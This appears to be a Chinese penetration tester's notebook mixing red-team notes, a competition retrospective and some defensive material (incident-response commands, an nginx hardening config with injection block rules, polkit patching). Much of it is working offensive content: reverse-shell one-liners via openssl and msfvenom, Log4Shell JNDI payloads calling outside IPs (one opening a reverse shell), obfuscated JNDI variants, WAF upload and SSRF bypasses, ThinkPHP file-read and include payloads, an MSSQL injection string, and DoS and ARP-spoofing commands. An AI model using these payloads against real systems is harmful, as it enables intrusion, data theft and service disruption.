########### On the remote host: # Generate a private key and self signed cert openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout private.key -out cert.pem # Get the certificate fingerprint to verify it: openssl x509 -in cert.pem -noout -sha1 -fingerprint | cut -d "=" -f 2 | tr -d ":" # Start the handler python3 ReverseSocksProxyHandler.py 443 1080 ./cert.pem ./private.key ########## On the local host: Import-Module .\Invoke-SocksProxy.psm1 Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 # Go through the system proxy: Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -useSystemProxy # Validate certificate Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -certFingerprint '93061FDB30D69A435ACF96430744C5CC5473D44E' # Give up after a number of failed connections to the handler: Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -maxRetries 10
应急网站日志筛选
应急巡检
find / \( -path /proc -o -path /sys -o -path /var/lib \) -prune -o -type f -mtime -1 -executable -print 2>/dev/null find / \( -path /proc -o -path /sys -o -path /var/lib \) -prune -o -type f -mtime -1 -print 2>/dev/null ps aux --sort=start_time netstat -anotup |grep EST
筛选URL部分
cat access.log |cut -d '"' -f 4 |cut -d " " -f 2 |cut -d "?" -f 1 > url-11.log
排序后去重统计次数,再筛选jsp后缀
cat url-11.log |sort| uniq -c|sort -g|grep .jsp
文件上传绕WAF
文件内容检测
前面写一个正常的超大文件
后面再加一个同名的上传项为木马后缀文件
尖括号不闭合
文件后缀检测
Tomcat 部署 WAR 包拦截绕过
https://www.ch1ng.com/blog/264.html
由于
fu2.\war
在流量中WAF是不认为它是一个危险的后缀,所以也就不拦截了。往后延伸,其实\f\u\2\.w\a\r
或者demo.w\\\\\\ar
等都可以进行绕过,后续看各位师傅的发挥了。https://www.ch1ng.com/blog/264.html
由于
fu2.\war
在流量中WAF是不认为它是一个危险的后缀,所以也就不拦截了。往后延伸,其实\f\u\2\.w\a\r
或者demo.w\\\\\\ar
等都可以进行绕过,后续看各位师傅的发挥了。
小程序源码解包
从Android手机提取小程序包,/data/data/com.tencent.mm/MicroMsg/{{一串32位的16进制字符串名文件夹}}/appbrand/pkg/xxxxxxx.wxapkg
安装node.js运行环境
安装wxappUnpacker
git clone https://github.com/xuedingmiaojun/wxappUnpacker.git cd wxappUnpacker npm install npm install esprima npm install css-tree npm install cssbeautify npm install vm2 npm install uglify-es npm install js-beautify
解包主包
#windows系统使用: ./bingo.bat mypkg/master-xxx.wxapkg #Linux系统使用: ./bingo.sh mypkg/master-xxx.wxapkg
解包子包
#windows系统使用: ./bingo.bat mpkg/sub-1-xxx.wxapkg -s=../master-xxx #Linux系统使用: ./bingo.sh mypkg/sub-1-xxx.wxapkg -s=../master-xxx
Nginx配置文件
# -----全局变量配置 START----------------
# nginx开启的进程数,一般与当前服务器cpu核数相应
worker_processes 8;
# 一个nginx进程打开的最多文件描述符数目
# worker_rlimit_nofile 65535;
# ----------------全局变量配置 END----------------
# ----------------事件配置 START----------------
events {
# 注意:最大客户数也由系统的可用socket连接数限制(~ 64K),所以设置不切实际的高没什么好处
worker_connections 20480;
}
# ----------------事件配置 END----------------
# ----------------http配置 START----------------
http {
# ----------------http基本变量配置 START----------------
# 文件扩展名与文件类型映射表
include mime.types;
# 默认文件类型
default_type application/octet-stream;
# 隐藏nginx版本号
server_tokens off;
# 启用自定义错误页面
proxy_intercept_errors on;
# 开启高效传输模式。
sendfile on;
# 防止网络阻塞
tcp_nopush on;
tcp_nodelay on;
# 客户端请求单个文件的最大字节数
client_max_body_size 8m;
# 服务器名字的hash表大小
server_names_hash_bucket_size 128;
# 指定来自客户端请求头的hearerbuffer大小
client_header_buffer_size 32k;
# 指定客户端请求中较大的消息头的缓存最大数量和大小。
large_client_header_buffers 4 64k;
# 客户端连接超时时间,单位是秒
keepalive_timeout 60;
# 客户端请求头读取超时时间
client_header_timeout 10;
# 设置客户端请求主体读取超时时间
client_body_timeout 10;
# 响应客户端超时时间
send_timeout 10;
# FastCGI相关参数是为了改善网站的性能:减少资源占用,提高访问速度。
fastcgi_connect_timeout 300;
fastcgi_send_timeout 300;
fastcgi_read_timeout 300;
fastcgi_buffer_size 64k;
fastcgi_buffers 4 64k;
fastcgi_busy_buffers_size 128k;
fastcgi_temp_file_write_size 128k;
# 开启gzip压缩输出
gzip on;
# 最小压缩文件大小
gzip_min_length 1k;
# 压缩缓冲区
gzip_buffers 4 16k;
# 压缩版本(默认1.1,前端如果是squid2.5请使用1.0)
gzip_http_version 1.0;
# 压缩等级 1-9 等级越高,压缩效果越好,节约宽带,但CPU消耗大
gzip_comp_level 2;
# 压缩类型,默认就已经包含text/html,所以下面就不用再写了,写上去也不会有问题,但是会有一个warn。
gzip_types text/plain application/x-javascript text/css application/xml;
# 前端缓存服务器缓存经过压缩的页面
gzip_vary on;
# ----------------http基本变量配置 END----------------
# ----------------访问成功打印日志(定时分析攻击) START----------------
# 定义日志格式
# log_format analysis '$remote_addr';
# 访问成功打印日志(根据定义的格式打印)
# access_log logs/analysis-access.log analysis;
access_log off;
# ----------------访问成功打印日志(定时分析攻击) END----------------
# ----------------反向代理变量配置 START----------------
# 代理cookie http 头
# proxy_set_header Cookie $http_cookie;
# proxy_set_header Host $http_host;
# proxy_set_header X-Real-IP $remote_addr;
# proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
# proxy_set_header X-Forwarded-scheme $scheme;
# proxy_set_header x-agent $http_user_agent;
# add_header backendIP $upstream_addr;
# nginx跟后端服务器连接超时时间(代理连接超时)
proxy_connect_timeout 200;
# 后端服务器数据回传时间(代理发送超时)
proxy_send_timeout 5;
# 连接成功后,后端服务器响应时间(代理接收超时)
proxy_read_timeout 300;
# 设置代理服务器(nginx)保存用户头信息的缓冲区大小
proxy_buffer_size 16k;
# proxy_buffers缓冲区,网页平均在32k以下的话,这样设置
proxy_buffers 4 32k;
# 高负荷下缓冲大小(proxy_buffers*2)
proxy_busy_buffers_size 64k;
# 设定缓存文件夹大小,大于这个值,将从upstream服务器传
proxy_temp_file_write_size 64k;
# 反向代理缓存目录
# levels=1:2 设置目录深度,第一层目录是1个字符,第2层是2个字符
# keys_zone:设置web缓存名称和内存缓存空间大小
# inactive:自动清除缓存文件时间。
# max_size:硬盘空间最大可使用值。
# proxy_cache_path proxy/cache levels=1:2 keys_zone=cache_one:500m inactive=1d max_size=1g;
# 指定临时缓存文件的存储路径(路径需和上面路径在同一分区)
# proxy_temp_path proxy/temp;
# ----------------反向代理变量配置 END----------------
# ----------------Server配置 START----------------
server {
listen 80;
server_name www.msatmb.com;
rewrite ^(.*)$ https://$host$1 permanent;
}
server {
listen 443 ssl;
server_name www.msatmb.com;
ssl_certificate cert/6995984_www.msatmb.com.pem;
ssl_certificate_key cert/6995984_www.msatmb.com.key;
ssl_session_timeout 5m;
ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_prefer_server_ciphers on;
location /{
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Host $host;
proxy_set_header Referer $http_referer;
proxy_set_header X-Real-Port $remote_port;
proxy_set_header X-Real-User $remote_user;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_pass http://127.0.0.1:10001;
}
# ----------------安全加固 START----------------
# 屏蔽IP,仅限中/美国IP访问
# if ( $geoip_country_code !~ ^(CN|US)$ ) {
# return 403;
# }
# 强制网站使用域名访问,可以逃过IP扫描
if ( $host !~* 'msatmb.com' ) {
return 403;
}
# 封杀特定的url
location ~* \.(bak|save|sh|sql|mdb|svn|git|old)$ {
rewrite ^/(.*)$ $host permanent;
}
# 封杀特定的http方法和行为
if ($request_method !~ ^(GET|POST|HEAD)$ ) {
return 405;
}
if ($http_range ~ "\d{9,}") {
return 444;
}
# 禁SQL注入
set $block_sql_injections 0;
if ($request_uri ~* "(cost\()|(concat\()") { set $block_sql_injections 1; }
if ($request_uri ~* "[+|(%20)]union[+|(%20)]") { set $block_sql_injections 1; }
if ($request_uri ~* "[+|(%20)]and[+|(%20)]") { set $block_sql_injections 1; }
if ($request_uri ~* "[+|(%20)]select[+|(%20)]") { set $block_sql_injections 1; }
if ($request_uri ~* "[+|(%20)]or[+|(%20)]") { set $block_sql_injections 1; }
if ($request_uri ~* "[+|(%20)]delete[+|(%20)]") { set $block_sql_injections 1; }
if ($request_uri ~* "[+|(%20)]update[+|(%20)]") { set $block_sql_injections 1; }
if ($request_uri ~* "[+|(%20)]insert[+|(%20)]") { set $block_sql_injections 1; }
if ($block_sql_injections = 1) { return 444; }
# 禁掉文件注入
set $block_file_injections 0;
if ($query_string ~ "[a-zA-Z0-9_]=http://") { set $block_file_injections 1; }
if ($query_string ~ "[a-zA-Z0-9_]=(..//?)+") { set $block_file_injections 1; }
if ($query_string ~ "[a-zA-Z0-9_]=/([a-z0-9_.]//?)+") { set $block_file_injections 1; }
if ($block_file_injections = 1) { return 444; }
# 禁掉溢出攻击
set $block_common_exploits 0;
if ($query_string ~ "(<|%3C).*script.*(>|%3E)") { set $block_common_exploits 1; }
if ($query_string ~ "GLOBALS(=|[|%[0-9A-Z]{0,2})") { set $block_common_exploits 1; }
if ($query_string ~ "_REQUEST(=|[|%[0-9A-Z]{0,2})") { set $block_common_exploits 1; }
if ($query_string ~ "proc/self/environ") { set $block_common_exploits 1; }
if ($query_string ~ "mosConfig_[a-zA-Z_]{1,21}(=|%3D)") { set $block_common_exploits 1; }
if ($query_string ~ "base64_(en|de)code(.*)") { set $block_common_exploits 1; }
if ($block_common_exploits = 1) { return 444; }
# 禁spam字段
set $block_spam 0;
if ($query_string ~ "b(ultram|unicauca|valium|viagra|vicodin|xanax|ypxaieo)b") { set $block_spam 1; }
if ($query_string ~ "b(erections|hoodia|huronriveracres|impotence|levitra|libido)b") { set $block_spam 1; }
if ($query_string ~ "b(ambien|bluespill|cialis|cocaine|ejaculation|erectile)b") { set $block_spam 1; }
if ($query_string ~ "b(lipitor|phentermin|pro[sz]ac|sandyauer|tramadol|troyhamby)b") { set $block_spam 1; }
if ($block_spam = 1) { return 444; }
# 禁掉user-agents
set $block_user_agents 0;
if ($http_user_agent ~ "Indy Library") {
set $block_user_agents 1;
}
if ($http_user_agent ~ "libwww-perl") {
set $block_user_agents 1;
}
if ($http_user_agent ~ "GetRight") {
set $block_user_agents 1;
}
if ($http_user_agent ~ "GetWeb!") {
set $block_user_agents 1;
}
if ($http_user_agent ~ "Go!Zilla") {
set $block_user_agents 1;
}
if ($http_user_agent ~ "Download Demon") {
set $block_user_agents 1;
}
if ($http_user_agent ~ "Go-Ahead-Got-It") {
set $block_user_agents 1;
}
if ($http_user_agent ~ "TurnitinBot") {
set $block_user_agents 1;
}
if ($http_user_agent ~ "GrabNet") {
set $block_user_agents 1;
}
if ($block_user_agents = 1) {
return 444;
}
# ----------------安全加固 END----------------
# ----------------错误状态码页面 START----------------
error_page 404 /404.html;
location = /404.html {
root var/html/error_page;
}
# ----------------错误状态码页面 END----------------
}
# ----------------Server配置 END----------------
}
# ----------------http配置 END----------------
粤盾2022复盘
时间顺序
第一天、第二天 打点不足,内网不会
偏见:现场队员实力不能打内网,内网丢给后援。应该鼓励打点。
技术层面
信息收集
靶标单位名称/靶标URL
平台信息 提供IP
ENscan-go/fofa_viewer/
128个靶标/近100个单位
政务主题
人名/手机号/账号命名规律
如何搜
WEB、小程序、公众号链接 IP/域名-》子域名-》端口-》组成URL(400/500)-》xray扫描
扫描无结果的情况下,之前收集的域名没有做归属分类,回到域名原点,挫折感。
深度
一次铺网范围太广泛,把控不了精细度
单个单位收集深度不足
打不穿不罢手
盲目C网段不恰当
时间不足
提前准备
靶标
手段
供应链/开发厂商/招投标承接公司
供应链-》通靶标单位
招投公司-》单独测试环境
信息收集加入权重
github、开源仓库源码泄露
仓库内搜索、API调用
汇总表
格式
表中链接
有深入再开word文档
常规渗透手段
工具是否齐全 struts2/weblogic/shiro/log4j2/thinkphp/ 弱口令探测
一个一个站翻比较慢
常用工具是否趁手
中间件/CMS等专有漏洞储备量
攻防获取权限方向的规范
其他攻击手段
钓鱼
辅助工具/杂项
多人协助: word-》CodiMD excel-》腾讯云文档 代理池
后渗透
代理搭建/木马工具免杀/
mimikatz/数据库/文件配置
管理组织层面
队员分工
信息同步协调
没有及时调整方向
1、突破政务网 2、攻击供应链的理解不足/开发厂商
赛果重要性意识
粤盾后攻防进修
信息收集
信息收集表格模板
社工收集方法(收集人名/手机号/账号命名规律/邮箱)
源码仓库信息泄露收集脚本(关键词)
供应链/开发商/招投标承接公司收集方法
渗透手段
getshell工具(struts2/weblogic/shiro/log4j2/thinkphp/)
专有组件漏洞储备
定制弱口令爆破工具(批量指定IP+端口+服务)
攻防渗透判断到底的规范指引
杂项
在线协作平台 CodiMD
打开这个链接,跟着文档操作即可 https://hackmd.io/c/codimd-documentation/%2Fs%2Fcodimd-docker-deployment#Using-docker-compose-to-setup-CodiMD 1、系统要安装好docker和docker-compose, 2、创建docker-compose并写入下方的内容 3、修改用户名和密码,就是里面的user和password(可选) 4、执行 docker-compose up -d 开始拉取镜像并运行 5、默认使用的端口是3000,记得开放端口 6、浏览 http://localhost:3000 测试功能
docker-compose.yml的内容如下(2022/8/30) 里面的change_password改成可以改成自己的密码
version: "3" services: database: image: postgres:11.6-alpine environment: - POSTGRES_USER=codimd - POSTGRES_PASSWORD=change_password - POSTGRES_DB=codimd volumes: - "database-data:/var/lib/postgresql/data" restart: always codimd: image: hackmdio/hackmd:2.4.2 environment: - CMD_DB_URL=postgres://codimd:change_password@database/codimd - CMD_USECDN=false depends_on: - database ports: - "3000:3000" volumes: - upload-data:/home/hackmd/app/public/uploads restart: always volumes: database-data: {} upload-data: {}
后渗透
思路
集权系统(堡垒机/EDR安全设备)/网络设备(VPN/路由器/防火墙)/运维人员终端/双网卡主机/网关探测/配置通用密码查找/
技能
代理/免杀/主机信息搜集
密码字典规律
服务器与PC主机
六位工号{u+六位工号、}
_SSO_T_00113
姓名拼音{全拼、姓_名、姓全拼名首字母}
面向企业/个人的强+弱口令
结构
前缀
中词
后缀
组成
关键字
企业名 名字 出生年月 手机号 网站域名 网站开发商公司名 CMS名
常用词
管理员/网站角色词 测试账号名
特殊符号
!@#¥%~.?+-*&
附加
特殊变种或固定弱口令
test123
参考
GitHub找源码
Advanced search –> Code options
extension:php path:/application/seller/
HTTP2 Cache Poisoning
https://youst.in/posts/cache-poisoning-at-scale/
https://github.com/PortSwigger/param-miner/releases/tag/v1.27
CentOS加固
下载
polkit-0.112-26.el7_9.1.x86_64.rpm http://mirror.centos.org/centos/7/updates/x86_64/Packages/polkit-0.112-26.el7_9.1.x86_64.rpm
polkit-0.96-11.el6_10.2.x86_64.rpm https://els6.baruwa.com/els6/polkit-0.96-11.el6_10.2.x86_64.rpm
离线修复方式(适用内网服务器)
①下载离线包:http://mirror.centos.org/centos/7/updates/x86_64/Packages/polkit-0.112-26.el7_9.1.x86_64.rpm 或者到:http://mirror.centos.org/centos/7/updates/x86_64/Packages/
②使用命令:rpm -Uvh polkit-0.112-26.el7_9.1.x86_64.rpm
校验
rpm -K polkit-0.112-26.el7_9.1.x86_64.rpm
These packages are GPG signed by Red Hat for security. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/
参考文章
Google:“polkit-0.96-11.el6_10.2.x86_64.rpm”
https://access.redhat.com/errata/RHSA-2022:0269
『官方解答及缓解措施』RHSB-2022-001 Polkit 特权升级 -(CVE-2021-4034)
网站DoS
WEB压力测试
siege -c 1000 -b -i -T 'application/json' 'https://10.219.235.70/CamstarPortal/ApolloPortalService.svc/web/Logon POST {"domain":"gg.yanlian.desay.net","profile":{"Name":"sss","Password":{"Value":"ssss","IsEncrypted":false},"Domain":"yanlian.desay.net","UTCOffset":480}}'
ARP
sudo arpspoof -i eno2 -t 10.219.67.100 -t 10.219.67.101 10.219.67.1
免费域名
1、访问nic.eu.org,注册帐号。
2、访问cloudns.net,注册帐号,点击Dashboard - DNS Hosting - create zone,在Domain name填写添加想注册的域名。注意需要eu.org后缀。
3、提交成功后跳转,可以看到4条NS记录服务器地址,默认为ns41.cloudns.net、ns42.cloudns.net、ns43.cloudns.net、ns44.cloudns.net。实际地址自行在域名解析菜单查看。
3、登陆nic.eu.org,点击New domain,在Complete domain name栏填写想注册的域名。Name servers一栏,填写cloudns.net的解析服务器地址。根据实际填写。点击提交,最后一行显示no error,即注册成功。
参考阅读:
How to get a free lifetime domain with eu.org
FRP编译改造
编译
git clone --brach v0.49.0 https://github.com/fatedier/frp.git cd frp go tool dist list #windows/amd64 env CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -trimpath -ldflags "-s -w" -o bin/frpc.exe ./cmd/frpc env CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -trimpath -ldflags "-s -w" -o bin/frps.exe ./cmd/frps #linux/amd64 env CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -trimpath -ldflags "-s -w" -o bin/frpc-linux ./cmd/frpc env CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -trimpath -ldflags "-s -w" -o bin/frps-linux ./cmd/frps #darwin/arm64 make env CGO_ENABLED=0 GOOS=darwin GOARCH=arm64 go build -trimpath -ldflags "-s -w" -o bin/frpc ./cmd/frpc PATH=$(go env GOROOT)/bin:${PATH} env CGO_ENABLED=0 GOOS=darwin GOARCH=arm64 garble -tiny -literals -seed=random build -trimpath -ldflags "-s -w" -o bin/frpc ./cmd/frpc
TLS加密传输
tls_only = true tls_enable = ture
disable_custom_tls_first_byte = true #(可选)修改源码FRPTLSHeadByte /pkg/util/net/tls.go
代码混淆
go install mvdan.cc/garble@latest
Google Dork
shodan,censys,fofa,zoomeye
sonar,binaryedge,shadowserver,expanse,傻蛋
在什么年份之前/之后
before:2020
after:2016
JAVA安全编码大纲
大纲
Java安全编码&代码审计课程大纲(包括但不限于) • 常见的web应用攻击 • 应用安全生命周期 • 安全开发落地模型 • web应用安全漏洞分析与审计 • 输入输出编码规范 • 文件管理安全规范 • 身份与访问控制规范 • 会话与通讯安全规范CSRF • 异常处理与日志规范 • 数据安全规范 • 接口调用及其安全编码
• 应用安全生命周期
概念类:SDL
• 安全开发落地模型
• 数据安全规范
关于国家标准《信息安全技术 网络数据处理安全规范》征求意见稿征求意见的通知
• 常见的web应用攻击
注入类(SQL注入、命令执行)
跨站脚本攻击(XSS)
失效的身份认证和会话管理(弱口令、口令破解)
失效的访问控制(未授权、越权访问、文件(上传、读取、包含))
安全配置错误(目录索引)
敏感信息泄露(源文件、数据库文件)
Java反序列化
• WEB应用安全漏洞分析与审计
同上、同时展开分析与审计。
• 输入输出编码规范 • 文件管理安全规范 • 身份与访问控制规范 • 会话与通讯安全规范CSRF • 异常处理与日志规范 • 接口调用及其安全编码
*JAVA代码审计函数
SSRF
java.net.HttpURLConnection.openConnection()
java.net.URL
java.net.URI
java.net.Socket
org.apache.http.client.HttpClient
XXE
javax.xml.parsers.DocumentBuilder
javax.xml.parsers.DocumentBuilderFactory
org.dom4j.io.SAXReader
org.jdom2.input.SAXBuilder
org.xml.sax.XMLReader
命令执行
java.lang.Runtime
java.lang.ProcessBuilder
JWT测试项
1、头签名算法是否为none
2、值字段敏感信息
3、删除签名
4、JWT密钥爆破
参考链接:
JWT (JSON Web Token) (in)security
Nessus配置
固定网络速度 advanced-performance Options-Max number of concurrent TCP sessions 当网络堵塞减慢发包速度 advanced-performance Options-slowdown 扫挂自动停止 Advanced-General Settings-Stop scanning hosts that become unresponsive
应用层漏扫
配置特定端口 Discovery-Port scaning 设置路径 Assessment-web application-web crawler-starting from
QNX命令
查找可写可执行的分区
mount |grep rw |grep -v noexec mount -o remount,exec /var/lib
端口扫描
nc -nvz -w 10 <ip> 1024-65535 |& grep succeeded nmap -Pn -n -sT --open --host-timeout 10s -p 1024-65535 <ip> |& grep succeeded
nc传文件
nc 10.1.0.102 9999 < /tmp/941.pcap nc -l 10.1.0.102 9999 > /Users/jyufu/Downloads/941.pcap
查找一小时内修改过的文件
find / -mmin -60 ! -path '/proc*' ! -path '/sys*'
帮助
use XXX
查询端口对应的进程名
QNX 中
netstat
没有-p
选项。pidin fds sockstat
反弹shell
# 监听 openssl s_server -quiet -key server.key -cert server.pem -port 4444 # 目标端 mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.7.1:4444 > /tmp/s; rm /tmp/s
日志服务
slogger2
slog2info
查看slog2info -l /dev/shem/slog2/111111.ErrorManagement.573471..0
GPG签名
gpg --gen-key gpg --armor --output private-key.txt --export-secret-keys gpg --output doc.sig --detach-sig doc gpg --verify doc.sig doc
[QNX Command Cheatsheet.png](https://github.com/delikely/Wiki/blob/main/cheatsheet/QNX/QNX Command Cheatsheet V0.1.png)
SOME/IP
Wireshark-分析-开启的协议-搜索SOMEIP,勾选。
ANDi 工具有免费的版本和付费版本。
免费版下载:https://files.technica-engineering.de/ANDi%20Free/
付费版下载: https://files.technica-engineering.de/ANDi/
FUZZ
AFL、libFuzzer或Ori等
Fuzz
https://www.secrss.com/articles/52696
参考资料
SSRF绕过
假设白名单为img.cantonfair.org.cn
37signals开发的定制DNS跳转服务
http://xxx.192.168.0.1.xip.io`
加端口号绕过正则
http://192.168.0.1:80
典型
@
http://img.cantonfair.org.cn@bbb.aaa.xyz:8990/
配置错误
错误通配子域名
正常:*.cantonfair.org.cn
错误:*cantonfair.org.cn
http://11111cantonfair.org.cn@bbb.aaa.xyz:8990/
域名末尾匹配了斜杠/
get参数
http://bbb.aaa.xyz:8990/img.cantonfair.org.cn/a.png?aa=img.cantonfair.org.cn/aaa.png#img.cantonfair.org.cn/aa.png
锚
http://bbb.aaa.xyz:8990/#img.cantonfair.org.cn/aa.png
文件目录
http://bbb.aaa.xyz:8990/img.cantonfair.org.cn/a.png
匹配https或http
切换一下http或s
https://bbb.aaa.xyz:8990/img.cantonfair.org.cn/a.png
甚至碰碰运气,去掉协议头
//bbb.aaa.xyz:8990
还有一些混合叠加乱FUZZ的
https://img.cantonfair.org.cn@ali00.poorme.xyz:8999/20210907/8befbc3698d5b27.png?1mg.cantonfair.org.cn/20210907/8befb7.png
非典型?
http://42.193.128.173/getlightdata.php?act=get_light_data&filename=data://text/plain;base64,TzoxOiJBIjoxOntzOjM6Im9uZSI7aToxO30%3d?aaa=
SSRF Fuzz
url= login= redirect_to= qurl= logout= data= ext= clickurl= jump_to= next= to= goto= callback_url= jump= jump_url= return= click?u= originUrl= Redirect= sp_url= service= redirect_url= redirect= rit_url= forward_url= callback= forward= success= recurl= j?url= uri= u= allinurl= q= link= src= tc?src= linkAddress= location= go= pic= burl= request= backurl= RedirectUrl= ReturnUrl= origin= Url= desturl= page= u1= action= action_url= target= linkto= domain= dest=
0x01 可能出现的地方
1.社交分享功能:获取超链接的标题等内容进行显示
2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:给网址翻译对应网页的内容
4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
8.数据库内置功能:数据库的比如mongodb的copyDatabase函数
9.邮件系统:比如接收邮件服务器地址
10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞
一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)
WAF工作流程/绕过
身份认证:黑白名单,白名单IP、白名单Cookie、User-agent、Referer
数据包解析:无法解析就Pass服务器
规则匹配
WannaRen病毒勒索样本
[病毒样本] #WannaRen #Ransomware
复现
WINWORD.EXE和wwlib.dll要放到C:\ProgramData下,you放到C:\Users\Public下
第一次运行WINWORD.EXE。然后在C:\Users\Public会生成一个fm文件,里面记录了时间。
使用txt打开fm,修改日期为三天前即可。比如2020年04月10日,改为2020年04月07日,或者06,05日都行。
第二次运行WINWORD.EXE,即可成功被勒索。
解密器
火绒:[技术原创] 【已更新解密工具】WannaRen勒索病毒作者主动向火绒提供解密密钥
https://www.huorong.cn/download/tools/wannaren_decryptor/HRDecryptor.exe
NSFOCUS脚本:http://blog.nsfocus.net/wannaren-report-0409/
解密工具: 链接1: https://pan.baidu.com/s/1ZldVHNfuFC4NrPARqqmF4g 提取码: s42h 链接2: https://github.com/FuYingLAB-NSFOCUS/WannarenDecrypt
扩展阅读
Windows日志语句速查
路径
%SystemRoot%\System32\Winevt\Logs\
指定IP的登陆失败/成功的账号名
LogParser.exe -i:EVT -o:DATAGRID "SELECT EventID,TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,5,'|') as Username,EXTRACT_TOKEN(Strings,19,'|') as Loginip1,EXTRACT_TOKEN(Strings,18,'|') as Loginip2 FROM C:\Users\jojo\Desktop\sec-7.evtx where (EventID=4625 and Loginip1='10.66.210.62') or (EventID=4624 and Loginip2='10.66.210.62') order by LoginTime desc"
1102 日志清除
1100 日志服务关闭
筛选指定时间内登陆成功失败情况
LogParser.exe -i:EVT -o:DATAGRID "SELECT EventID,TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,5,'|') as Username,EXTRACT_TOKEN(Strings,19,'|') as Loginip1,EXTRACT_TOKEN(Strings,18,'|') as Loginip2 FROM C:\Users\jojo\Desktop\sec-7.evtx where (EventID=4625 or EventID=4624) and TimeGenerated>'2022-08-22 00:00:00' and TimeGenerated<'2022-08-23 23:34:00' order by LoginTime desc"
XSS测试
PoC
<sVg/onfake="x=y"oNload=;1^(co\u006efirm)``^1//
XSS平台搭建
ThinkPHP
版本识别
访问不存在的控制器,导致报错
日志泄露分析
ThinkPHP5 RCE
控制器校验绕过
Think5.0.x
控制器可以用点号替代
文件读取
/?s=.|think\config/get&name=database.username /?s=./\think\config/get&name=database.username
文件包含
?s=index/\think\Lang/load&file=../../test.jpg // 包含任意文件 ?s=index/\think\Config/load&file=../../t.php // 包含任意.php文件
SQL PoC
Usage · sqlmapproject/sqlmap Wiki · GitHub
MSSQL报错注入
0'or 66=convert(float,sys.fn_sqlvarbasetostr(HashBytes('MD5','1962630235')))--0
Log4Shell
${jndi:ldap://first.3i4ay3.ceye.io/Exploit} ${jndi:ldap://47.118.71.103:9999/Basic/ReverseShell/47.118.71.103/9200}
POC
${jndi:dns://xxx.xxx.xxx.xxx:port/${hostName} -${sys:user.dir}- ${sys:java.version} - ${java:os}} ${${env:COPYTHAT:-j}ndi:dns://114.114.114.114:53/${sys:java.version}}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1099/ass}
${${::-j}ndi:${::-j}mi://127.0.0.1:1099/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
MSF
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/bind_tcp LPORT=8001 -f elf -o msfshell
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f elf -o payload.elf
linux/x86/meterpreter_reverse_https
MSF内网多重路由穿透永恒之蓝
run autoroute -s 192.168.0.0/16 bg #msf将自动在跳板机设置监听 set lhost [跳板机IP]
文件上传请求包构造
application/x-www-form-urlencoded
POST http://www.example.com HTTP/1.1 Content-Type: application/x-www-form-urlencoded;charset=utf-8 name=qwe&pwd=123
multipart/form-data
<html> <form id="form1" enctype="multipart/form-data" method="post" action="https://bbb.com/xxx.ashx?filePath=js"> <input type="file" name="Filedata"> <input type="submit"> </form> </html>
ee
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymMgLJdk18SQHBnpj Content-Length: 305 ------WebKitFormBoundarymMgLJdk18SQHBnpj Content-Disposition: form-data; name="upload"; filename="whoami.jsp" Content-Type: application/octet-stream 1111Vciz ------WebKitFormBoundarymMgLJdk18SQHBnpj Content-Disposition: form-data; name="submit" submit ------WebKitFormBoundarymMgLJdk18SQHBnpj--
application/json
参考阅读:
DoIP
DoIP协议规范 ISO13400
UDS诊断规范 UDS14229-1
https://zhuanlan.zhihu.com/p/446348996
python库:udsoncan、doipclient
找漏洞
Tomcat版本速查漏洞
Apache Tomcat 8.x vulnerabilities
PHPCMS镜像
https://mirror.cnop.net/?search=phpcms
ImageTragick
CVE-2016-3714 - ImageMagick 命令执行分析
Gitlab
CVE-2021-22205: inspiringz/CVE-2021-22205
grafana
隐藏的OAuth攻击向量
提权漏洞
https://github.com/berdav/CVE-2021-4034.git
qualys团队: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
FUZZ
Fuzzing技术总结(Brief Surveys on Fuzz Testing)
